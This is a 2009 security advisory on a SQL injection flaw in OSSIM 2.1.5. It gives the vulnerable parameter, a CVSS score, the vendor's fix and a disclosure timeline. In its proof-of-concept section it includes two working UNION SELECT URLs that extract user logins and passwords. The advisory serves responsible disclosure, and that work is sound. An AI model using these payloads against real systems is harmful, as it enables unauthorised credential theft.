OSSIM 2.1.5 SQL Injection

`Advisory Name: SQL injection in OSSIM  
  
Vulnerability Class: SQL injection  
  
Release Date: 12-16-2009  
  
Affected Applications: Confirmed in OSSIM 2.1.5. Other versions may also be affected.  
  
Affected Platforms: Multiple  
  
Local / Remote: Remote  
  
Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)  
  
Researcher: Nahuel Grisolía  
  
Vendor Status: Acknowledged/Fixed. New release available (OSSIM 2.1.5-4)  
  
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf  
  
Vulnerability Description:  
  
A vulnerability has been discovered in OSSIM, which can be exploited by malicious people to conduct  
SQL injection attacks.  
Input passed via the "id_document" parameter to repository_attachment.php is not properly sanitized  
before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting  
arbitrary SQL code.  
The vulnerability is confirmed in version 2.1.5. Other versions may also be affected.  
  
Proof of Concept:  
  
http://server/ossim/repository/repository_attachment.php?id_document=1%20union  
%20select%201,2,login,4%20from%20users  
http://server/ossim/repository/repository_attachment.php?id_document=1%20union  
%20select%201,2,pass,4%20from%20users  
  
Impact: Execute arbitrary SQL queries.  
  
Solution: Upgrade to OSSIM 2.1.5-4  
  
Vendor Response:  
  
2009-12-08 – Vulnerability is identified  
2009-12-09 – Vendor is contacted  
2009-12-09 – Vendor confirmed vulnerability  
2009-12-16 – Vendor released fixed version  
2009-12-16 – Vulnerability is published  
  
Contact Information:  
  
For more information regarding the vulnerability feel free to contact the researcher at  
ngrisolia <at> cybsec <dot> com  
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